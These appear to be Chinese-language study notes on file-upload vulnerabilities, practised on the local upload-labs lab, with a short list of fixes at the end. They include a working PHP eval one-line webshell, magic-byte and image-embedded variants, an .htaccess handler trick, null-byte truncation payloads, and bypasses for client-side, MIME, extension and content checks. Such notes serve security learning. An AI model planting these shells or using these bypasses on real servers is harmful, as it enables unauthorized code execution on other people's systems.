一、檔案上傳漏洞
- 前提條件:
- 能上傳webshell (若僅讓上傳圖片,而又繞不過去,則不行)
- webshell路徑可知 (需要訪問目標, 不知道則訪問不了 )
- webshell 可以被訪問
- webshell可以被解析(即可以顯示頁面; 若返回頁面直接顯示程式碼,並沒有解析)
- 判斷
- 確認是什麼過濾?
上傳任意檔案,得到僅允許上傳jpg 等圖片檔案 - 上傳木馬圖片,jpg+一句話木馬檔案
發現上傳錯誤----檢測了檔案內容 - 加GIF89a, 字尾為txt
1. 基礎操作
URL操作
執行webshell
url根目錄後:
?id=phpinfo();
或
id=system(whoami);
或
id=system(ipconfig);
......
檔案操作
基礎程式碼
<?php phpinfo(); ?>
2. webshell
說明
一種惡意指令碼 或網站後門
webshell分類
php/asp/jsp/木馬等
大馬/小馬/一句話木馬
打包馬/拖庫馬/記憶體馬
- 一句話木馬
程式碼:
<?php @eval($_POST[' cmd']); ?>
解釋:
資料傳遞:post 透過post接收cmd這個引數值
資料執行: 原始碼:
<?php @eval($_POST['cmd']); ?>
執行:cmd=phpinfo();
變為:<?php @eval(phpinfo();); ?>
等價post賦給cmd的值
3. 分類
- post
post程式碼中有: @,用於隱藏資訊
post方式,不會被記錄,記錄了一般人也看不懂
操作
hackbar----開啟post-----body中寫kong=phpinfo(); ----執行----得到頁面返回結果
- get
get程式碼中沒有@, 則直接顯示程式碼(如果加上@,則也不會顯示)
get方式會記錄入侵者的操作,所以一般不用get
4. 檢測檔案方式
- 判斷c/s檢測
操作
方式1:上傳非法檔案,返回結果是否很快?(上傳非圖片檔案,立馬錯誤提示)
快---客戶端 ( 原因: 因為不需要將這個檔案傳送給伺服器 )
慢---服務端 (點選上傳,瀏覽器按鈕重新整理,原因: 傳送資料,服務端接收資料-返回響應-瀏覽器接收響應-重新整理頁面)
方式2: 重新整理按鈕
客戶端檢測,重新整理按鈕不會重新整理,
服務端檢測,重新整理按鈕會重新整理
方式3: bp抓包
客戶端: bp抓不到相應包
服務端: bp可以抓到
4.1 客戶端檢測
檢測方式
javascript檢測
繞過方式
- 手動禁用javascript 或使用 noscript外掛(不推薦)
操作:
檢查----三點(定製開發者工具及幫助)----設定----勾選禁用JavaScript-----點選上傳
案例:
網頁複製文字時----掃碼交錢-----可以禁用JavaScript----再次複製
- 刪除onsubmit 等相關元素程式碼
操作
上傳頁面----檢查----左上角箭頭----點選上傳位置的元素----檢視器:找到onsubmit(上傳按鈕)
找到檢視器中的return checkfile()----刪除-----回車-----上傳
上傳成功後, 複製影像連結----開啟url----右鍵檢查----hackbar----load----post data ---- cmd=phpinfo();-----返回頁面-----說明上傳成功
限制
只能使用一次,再次開啟return checkfile()函式又回來了
輔助檢視
右鍵頁面----檢視頁面原始碼-----查詢------script type="javascript/txt";
其中,checkfile 函式作用:判斷檔名;
file== "" 或 file==null 檔名為空,說明沒有上傳檔案
4.2 服務端檢測
判斷檢測了字尾還是內容
操作
上傳程式碼圖片( 內容為程式碼, 字尾為圖片字尾)
檔案能上傳: 僅檢查字尾
檔案不能上傳: 檢查了字尾和內容
- other(邏輯)
mime型別檢測
mime型別繞過方式
操作
bp抓包, 修改第二個content-type引數為-----content-type: image/png-------修改完直接關閉攔截
或
隨意上傳檔案字尾,bp中抓包任意更改mime型別
hackbar執行相關檔案程式碼: cmd=phpinfo();
常見mime型別
.gif gif image/gif
.png image/png
.jpg image/jpeg mime型別為jpeg
檔案字尾檢測
判斷
操作:
上傳任意字尾檔案
成功:黑名單( 該檔案在黑名單中,所以可以上傳)
失敗:白名單(該檔案不在白名單中,所以不可上傳; 只允許上傳哪些東西)
黑名單檢測
- 字尾大小寫繞過
前提: 僅僅使用Windows, 對大小寫不敏感; 訪問1.php 與 訪問1.PHP一樣
操作: bp中抓包,修改字尾為大寫, 成功上傳; 這時檔名會被伺服器修改,複製該檔名訪問
- 字尾雙寫繞過
操作: bp中抓包,修改字尾. 例如: x.php 修改為 x.phphpp
- 其它可解析字尾繞過
前提: 後端配置檔案httpd-conf中 配置了該字尾
後端配置: 後端疏忽操作(站在後臺維護角度)-----phpstudy----其他選項-----開啟配置檔案-----httpd.conf 檔案, 第403行加上該檔案字尾後,就可以上傳-----重啟服務
操作: 更改不同伺服器字尾為以下各種
PHP: php2、php3、php5、phtml、.pht(是否解析需要根據配置檔案中設定型別來決定)
ASP:asa、cer、cdx
ASPX:ascx、ashx、asac
JSP:jspx、jspf
- 圖片+.htaccess配置檔案繞過
操作:
上傳 nn.png 與 .htaccess檔案; .htaccess檔案程式碼內容設定圖片名為: nn.png ,則上傳nn.png 檔案
檔案內容:
<FilesMatch "nn.png"> setHandler application/x-httpd-php </FilesMatch>
程式碼解釋:
呼叫解析器去解析圖片nn.png
訪問物件:
nn.png (http://127.0.0.1/upload-labs-master/upload/nn.png) ,非.htaccess檔案
生效物件:
.htaccess該檔案上傳到某個目錄,就對這個目錄生效
httpd.conf檔案為apache伺服器整個網站的目錄
注意: .htaccess檔案(不能有檔名), 若有bp抓包修改
操作
bp抓包,修改後,訪問response中地址: http://127.0.0.1/upload-labs-master/upload/1.png
執行相關程式碼---- cmd=phpinfo();
白名單檢測
判斷
上傳一張圖片與上傳一個自己構造的字尾. 如果只能上傳圖片不能上傳其它字尾檔案,說明是白名單檢測
前提條件
php:php < 5.3.29且magic_quotes_gpc=off
java: jdk < JDK1.7.0_40
後臺管理員誤操作
後端誤設定伺服器版本: phpstudy------切換版本: 5.2.17
phpstudy----開啟配置檔案----php-ini
ctrl+F---- magic_quotes_gpc, 修改為: Off
儲存-----重啟
- %00截斷繞過
操作
bp抓包,修改引數
將 save_path=../upload/
修改為 save_path=../upload/test.php%00
訪問: /upload/test.php ; ../upload/test.php/132023.png
執行: cmd=phpinfo(); -----成功
原理
%00(空格) 是一個url編碼, 當url中出現%00時就會認為讀取已結束
response後
複製路徑過來為: ../upload/test.php , test後有%00, 將後面內容刪除了
- 0x00截斷繞過
操作
抓包-----
將 ../upload/
修改為 ../upload/cmd.php a ( 註釋:空格+a, 表示新增一個標記)
切換到
十六進位制HEX-----找到../upload/cmd.php a其中的空格,------ 將空格(16進製為20) 改為 00
原理
response中: ../upload/ cmd.php空格a.... ,後面內容截斷,複製不了
訪問: /upload/cmd.php -----成功
系統在對檔名進行讀取時,如果遇到0x00,就會認為讀取已經結束。00是檔案的十六進位制內容裡的00,而不是檔名中的00
- 檔案包含漏洞+圖片馬進行繞過
操作
上傳檔案-----複製影像連結-----開啟----複製檔名; 點選檔案包含漏洞
url中輸入: ?file=upload/6520231124134708.png
結果: 檔案太大,出現錯誤
蟻劍連線時url為: png的url----http://127.0.0.1/upload-labs-master/include.php?file=upload/6520231124134708.png
檔案內容檢測
判斷
操作
上傳成功後的圖片和上傳前的圖片大小,顏色和md5是否有變化?
有: 重新渲染
沒有: 僅讀取內容
- 檔案幻數檢測
常見的圖片檔案幻數
png (16進位制) 檔案幻數: 89 50 4E 47 0D 0A 1A 0A
JPEG(jpg) 檔案幻數: FF D8 FF E0 00 10 4A 46
GIF 檔案幻數: 47 49 46 38 39 61 0A 00
檢視圖片檔案的幻數
操作
bp抓包-----hex---檢視
或
利用hxd/010/Edjpgcom 等軟體,拖動檔案進來即可檢視
不同的檔案格式,如docx, png, zip等檔案幻數都不相同
新增檔案幻數
操作
php檔案中新增gif檔案幻數
程式碼如下
GIF89a<?php @eval($_POST[' cmd']);?>
- 軟體/cmd 製作圖片馬
hxd64.exe
操作:
在Hxd工具右側中直接新增一句話木馬程式碼:
程式碼如下
<?php @eval($_POST['cmd']); ?>
或者修改hex中程式碼圖片幻數
Edjpgcom
條件:只能編輯jpg檔案
操作: 拖動圖片到Edjpgcom.exe圖示中開啟----右側hex為00 的地方,新增一句話木馬
010Editor.exe
操作: 拖動圖片到Edjpgcom.exe圖示中開啟----右右側hex為00 的地方,新增一句話木馬
cmd製圖片馬
cmd下執行(必須在有圖片和馬的目錄下):copy aaa.jpg/b + test.php/a shell.jpg
解釋:
/b 以二進位制方式開啟
/a 以ASCII方式開啟
生成shell.jpg檔案(包含aaa.jpg和test.php檔案內容),可以正常開啟
兩張圖片都可以正常開啟,而shell馬檔案會在最後加上一句話木馬
手工製作圖片馬
操作:在正常圖片中新增一句話木馬
- 二次渲染
操作
上傳正常圖片----上傳後----右鍵-----將圖片另存為;
之後,開啟010 editor工具,在原始檔案中都為00部分插入webshell馬
原理
根據使用者上傳的圖片,新生成一個圖片. 將原始圖片刪除,將新圖片新增到特殊的資料庫中
例如: 網站根據使用者上傳的頭像生成大中小不同尺寸的影像
其他
- 組合上傳
- 檔案上傳: 前端驗證+mime+黑名單/檔案內容
- 檔案包含+白名單
檔案上傳
- 1.php惡意程式碼檔案 (php檔案馬)
可以直接進行利用, 只要伺服器有php解析器就能解析
-
2.程式碼圖片 (php檔案幻數馬)
-
3.帶馬正常圖片 (圖片馬)
必須要配合其他的漏洞進行利用
如
1 檔案包含漏洞解析
2 htaccess+1.jpg 解析
3 中介軟體+1.jpg解析
才能解析
二、其他基礎技巧
- web日誌開啟
phptutorial\apache\logs\access.log
日誌內容解釋:
ip地址 訪問時間 請求方法 訪問的目錄 狀態碼 內容長度
- 問題
php檔案可以上傳,但是有php檔案的一句話木馬上傳不了;
編輯在圖片裡面的一句話程式碼透過檔案包含漏洞執行裡面的PHP語句;
三、檔案上傳漏洞修復
1、 上傳的目錄設定為不可執行。只要web容器無法解析該目錄下面的檔案,即使攻擊者上傳了指令碼檔案,伺服器本身也不會受到影響,因此這一點至關重要。
2、 對檔案字尾的判斷中使用白名單的方式。
3、 檔案伺服器和web伺服器分離,也就是上傳的檔案單獨存放到其他的伺服器之中。
4、 不需要返回檔案路徑的情況下,隨機改寫檔名